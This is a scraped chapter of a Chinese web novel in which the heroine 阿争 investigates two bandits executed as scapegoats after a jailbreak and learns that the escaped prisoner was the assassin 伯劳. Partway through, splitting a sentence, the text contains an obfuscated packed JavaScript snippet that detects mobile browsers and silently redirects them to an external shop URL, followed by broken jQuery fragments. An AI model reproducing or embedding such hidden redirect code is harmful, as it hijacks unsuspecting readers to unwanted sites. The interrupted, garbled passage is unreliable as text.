文趣网 > 其他小说 > 燃灯 > 13. 猴腮(一)
    青天白日,她亲眼见到两颗罪恶的人头落地,魂断乱葬岗,晚上,当阿争看见那张脸再度出现在自己面前时,不禁发出了这样可笑的疑问。

    人会死而复生吗?

    要是在原来,她一定会斩钉截铁地说不,可如今,传闻四起,人心惶惶,身边一件件诡异的事让她越发迷惑,看着那张和猴腮如出一辙的脸,她竟然犹豫了。

    “来干啥?”那人开口打破了这片恐怖的死寂,他嗓子眼里像卡了口痰,说话时鼻腔有很重的堵塞感,听着发闷,让阿争觉得都有点喘不上气来。

    她冷静下来,壮着胆,略微拉进灯光,把那张脸一点点仔细看了,终究还是发现了端倪,眼前这人似乎更老一点,大眼袋,嘴有点歪,没有猴腮那股歪心眼子的精明,更多些木讷。乍一看两人像极了,如果他不开口,足够以假乱真,阿争自诩为胆大之人,也险些把她魂吓飞了。

    “你在干啥?”或许是被阿争探究的目光看的心烦,他皱着眉头又问一遍。

    阿争不是不说,而是有些不知道该怎么说,她现在都有些搞不懂自己了,她为什么半夜不睡觉,偷偷溜到乱葬岗来,自己究竟是在做什么。

    猴腮和熊背死了是罪有应得,应该放几挂鞭庆祝,他们应该为自己做的恶事偿命。可是九日,二人中午确实尚且还在临秀,还与她发生了矛盾,又怎能做到晚上抵达浊城劫狱的呢?

    想到这,阿争就翻来覆去睡不着,趁阿婆睡着了,悄悄摸摸翻墙溜出来,走着走着就来到乱葬岗,她是想来找什么呢?她也说不清。二人的尸体早就被乞丐翻遍了,等她来了,甚至连尸体都消失的无影无踪了。

    那时,浊城羁押的要犯被劫出逃,搜查令传到临秀,满城骚乱,边军为找逃犯和劫匪,大肆抓捕无辜百姓,不分青红皂白的关押。这些百姓有外来谋生的,更有生于这片土地,长于这片土地的,侵略者的铁骑使他们国破家亡,被迫沦为下等人,受尽侮辱欺凌,而这些边军又为中饱私囊收受赎金,从上到下,为搜刮民脂民膏不择手段,不乏严刑拷打。

    而这般轰轰烈烈的跨城搜寻,结果却是抓了两个没有作案时间的土匪。

    阿争知道,她若把“那两个土匪是替死鬼”的事说出去一定会被当成疯子抓起来,明明白天她还在拍手称快,一条贱命,死就死了,更没道理多管闲事来这乱葬岗。

    可一码归一码不是吗?

    “东西掉了,来找找。”阿争装着掏掏空空如也的口袋,搪塞道。

    秋风萧瑟,阿争却被惊得一身冷汗,此地不宜久留,她得赶紧走,可又不知道是不是被吓过了劲儿,还是知道不是猴腮后放松了,她又突然对这张相像的脸感兴趣起来。

    “掉的在我那儿。”那人面无表情,上下打量她,脸僵的像块面板,他转过身,“走吧。”

    他在前面走,也不提灯,仿佛走惯了脚下的每一寸土,习惯了黑夜。

    阿争一头雾水,问道:“你是谁?”

    “给孤魂野鬼收尸的。”阿争真的很想给他拍拍背,让他把嗓子里的痰吐出来。

    “听说上午在这处决了犯人。”阿争跟在他的身后,提灯,照着他们脚下的路。

    “嗯,埋了。”他依旧淡淡的说。

    阿争停下了脚步,那人没等她,继续向前走。

    她现在可以离开,回去把眼睛嘴巴都闭上,就当无事发生,把这一页彻彻底底翻过去。

    她也可以选择跟上这个不知底细的人,贸然行动会把自己置于危险的境地,真相是轻飘飘的,可为真相付出的代价未必是她能承受的起的。

    都说冥府有个记账本,记录人间善恶,死后自会审判。可在人间,真相,生死,就能被简单的一笔带过吗?可是本不该有人不明不白的死去,不管是在穷巷里的老人,还是穷凶极恶的土匪。

    她犹豫了,思索片刻,还是跟了上去,这个人跟他们猴腮熊背二人必有牵扯,跟猴腮那样相像,又为他们殓了尸,或许在他那能得一些线索。

    义庄。

    厅里点着灯,放着一个烤火盆,一个佝偻的身影在火盆子边喝酒,门开了,一阵冷风拉着一前一后两个人走进来。

    出去一个,回来两个,喝酒的百无聊赖抬起眼皮,看了一眼进来的,他的声音嘶哑,身上泛着酒气,“哟,是给俺老头子送酒来的。”

    义庄虽然陈列的都是尸体,可死人的秘密,不比活人少,之前阿争来义庄寻那陆家二人线索,虽然一无所获,但和那守墓老人相识,也是难得的收获。

    在此之后,阿争又来过几趟,不是打探消息,而是来送酒,和老人拉拉家常,老头平时孤独,殓尸人都拉拉个脸,浑身一股衰气,可阿争不是,他也愿意和阿争唠嗑。

    阿争觉得,老人虽于生活艰辛,历经人世之间沧海桑田,早已生死看淡,对阿争提出的问题和苦恼都能指点一二,有通达超脱的智慧,一来二去,两人便熟络起来。

    阿争这样做不是没有私心,酒贱人情贵,义庄是一条重要的信息线,要是那两个名字真有相关线索,她便能搭上这条线,打探到情报。

    快行致义庄时,沈争倒是放下心来,看见老人,她心里更是安稳了几分,说实话,她倒是考虑过一开门一群土匪或者缉拿的边军等着她该怎么办。

    “不巧了大爷,今儿没带酒。”

    老头抿了一口酒,“那你这趟不该来。”

    “那您请我喝一杯呗。”她当然知道不该来,可她还是来了。

    “没有酒,”老人抓起小坛子在碗里哗啦啦倒上,“只有浑水一条。”

    听到这,阿争缩在袖筒中握刀的手不禁又捏紧了,明明是她与“猴腮”相遇,可老人这话却说的微妙极了,像是知道她为什么而来,专程等她似的。阿争看着老人手中那只碗,花纹繁复,质地轻薄,工艺考究,在这破败的义庄格格不入,虽盛的是是浊酒,在这碗中却如琼浆玉露一般。

    “不知您所言浑水是何意?”

    老人似笑非笑的看着她,“不正在你脚下吗?”

    石砖像一块块碑铺在地上,听此一言,阿争一惊,自然明白何意,只觉脚下砖石仿佛荡漾起来,仿佛真踏上一条灰黑的河。

    可这世道,谁脚下不是浑水,不都是在浑水中艰难地走?哦,倒也有人拎着鞋子提着衣摆,说些什么高高在上清者自清的话,装干净罢了。

    “您说浑水,”阿争道,“我一个小人物,这辈子无非两种结果,要么同流合污,要么被滚滚洪流吞没,哪有不沾泥的办法呢。”

    老人目光复杂的看着阿争,“唯有源头活水来。”

    阿争琢磨着这句话,越想越觉奥妙,身处浊世,逃离是无用的,也不是踮着脚扯着衣假清高,是要成为这源头的活水,不断的注入新的清明。

    老人把酒碗递到她面前,阿争端着酒,一饮而尽,辛辣入口,火盆中的熊熊燃烧的火光在她眼中跳动。

    “那请赐教,源头在何处?”

    “猴腮”倒是噗嗤一笑,终于开口,声音压抑的让阿争感觉呼吸困难:“你不是都过来寻东西了吗?”

    他从怀里拿出一个东西,扔给阿争,她一手接住,那是一个极其精致的葫芦香包,绣工繁复,用金线银线勾出蝙蝠和元宝如意,香调清雅悠长,一看就是不俗之物。

    “他管我借了一笔钱,一直没还,劫狱前,给我这个,说能卖个好价钱。”

    “哪来的?”想必口中的这个他就是猴腮了,阿争问道,这香包质地绝对是贵人身边物件,不应该是他这个匪能接触到的。

    “张老板赏他的。”

    “哪个张老板?”阿争继续追问。

    “做香料生意的张金生张老板。”

    张家可是赫赫有名的香料世家,深受北地达官贵人的喜爱,在各地都有香料生意,在南边的梁国销路都一片大好。临秀的生意是张金生在管理,浊城的生意张金宝在管理,二人是双生子,兄弟感情极好,还经常救济灾民,赈灾施粥,可以说是大善人。

    一个是臭名昭著的匪,一个是声名远扬的老板,二人怎会搭上关系呢?

    三人围坐烤火,阿争看着那张和猴腮极度相像的脸还是不太得劲儿,“你们也是亲兄弟?”

    “不是,”他喝了一口酒,他们是表亲,二人的母亲是亲姐妹,二人自小就相像,经常被认为是亲兄弟。

    这香包是怎么得来的都不过是猴腮一言之词,需要再去查

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945453|214046||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    证,但阿争对他所说的时间节点倒是很在意,猴腮是在劫狱的时间段前给他抵债的。

    又回到了那次边军的大范围搜查,怪就怪在这,那犯人到底是何许人也,这么兴师动众的搜,抓了那么多人,却又不放出线索,连张画像都没有,只是让几个负责羁押过的小兵辨认?

    “不是不放线索,是没有线索可放,”老人说道,“本就是路过浊城,终是要把人羁到北方大都的,谁成想不到半日,就让人劫走了。”

    “劫的是谁的狱?”阿争只听说是个女的,想起那时怀远知所言,似乎是个极度危险的女魔头。

    “道上说,”老人压低声音,“抓的是伯劳。”

    伯劳?阿争愣了一下,随即反应过来。“屠夫鸟伯劳?”

    没说是,也没说不是,他只是微妙的看了阿争一眼,喝了一口酒。

    北敕孛信仰神鸟,那连云家族更是自奉为神族后裔,自他们南下步步紧逼,便在夺得的土地上大肆修建金羽神祠,日夜香火不停,供奉金羽神鸟。梁国丧权辱国节节败退之时,那只刺客队伍便悄然在大梁登场。

    入幕客子规,报丧鸟鸺鹠,无脚鸟雨燕,送葬者秃鹫……各个是传奇。他们专杀叛臣贼子,地主商贾,还有北敕孛重臣要员,将军将领,坊间流传着不少他们的故事,百姓敬他们,富人恨他们,官僚惧他们。

    梁国有一反战主和派大贪,曾神秘消失在宴会后,待他被发现时,死状残忍可怖,胸口被尖利的树枝贯穿,尸体被悬挂于树上,据说那就是伯劳的手笔。

    伯劳鸟最爱将猎物刺穿吊起来,故又被称为屠夫鸟,鼎鼎大名,如雷贯耳,说书的也爱讲,阿争自然听说过。

    有人说这个组织是独立存在的,也有人说他们隶属于结海楼,有人说他们的身份是代代传承的,传到现在应该是第多少代了……传闻很多,可以考证的却很少,给这个神秘组织蒙上了一层又一层面纱。

    “那他们是怎么抓住伯劳的?”

    “这咱就不清楚了。”

    “为何不就地正法,漫漫长路,压去大都,不就是给她机会跑吗?”

    “好不容易抓到了伯劳,她背后那么大个组织,连云家能放她吗?”“猴腮”闷闷的插了一句。

    在谈话中,阿争把事件的脉络摸了个大概,伯劳因不明原因在边城被抓,为牵出她身后的组织链,便命将其押送至北方大都,中途在浊城中转,怕生事端,全程保密押送,浊城知道是要犯,可也没想到是伯劳。

    消息一旦走漏,可能会引来同伙或江湖义士施救,最恶劣的是,在民众心中,伯劳处处和北敕孛作对,根本就不是犯人,而是义士,影响极坏,更要对发现的苗头暴力镇压。

    而待她逃了后,上头催着抓人,浊城才知道闯了这么大的祸,于是高压之下,搜寻从浊城拓展到临秀,底层军官嗅到机会,借机敛财,但寻人却依旧无所获。

    高压之下,临秀城知名土匪猴腮熊背正好符合目击者所说劫匪一瘦一胖的特征,再加上这二人常年打配合,劫道劫财,臭名远扬,人尽皆知。简直一石二鸟,不禁体型外貌符合,又不是清白身份,抓了也无人喊冤。

    恐怕浊城那边遮遮掩掩怕担责任,临秀这边还不知道逃掉的是伯劳,要不怎么抓不着就敢随便抓两个替罪羊糊弄了是,这俩小土匪能劫走伯劳?

    这事眼前看是平了,若层层上报,必定还会引起轩然大波。

    可就像沿路百姓都惊讶,所谓兵匪一窝,他们暗地里有见不得人的往来和勾结,更何况猴腮熊背可不是一般土匪,怎么就被推出去就斩了。

    “你知道吗?我一下就认出你了。”“猴腮”看着她,认真的说。

    “你认得我?”阿争每次来义庄送酒,也不记得见过他这号人,要不然也不至于吓得汗毛直立。

    “你跟他说的一模一样。”

    “他说我什么了?”阿争之前把他揍的那么惨,猴腮定不会说她什么好话。

    “他说,”他盯着阿争的眸子,“那个高高的女孩,长着一双野心勃勃,却慈悲的眼睛。”

    那夜,在义庄,从他们的口中,阿争认识到了另一个猴腮。

    不,应该是他的另一面。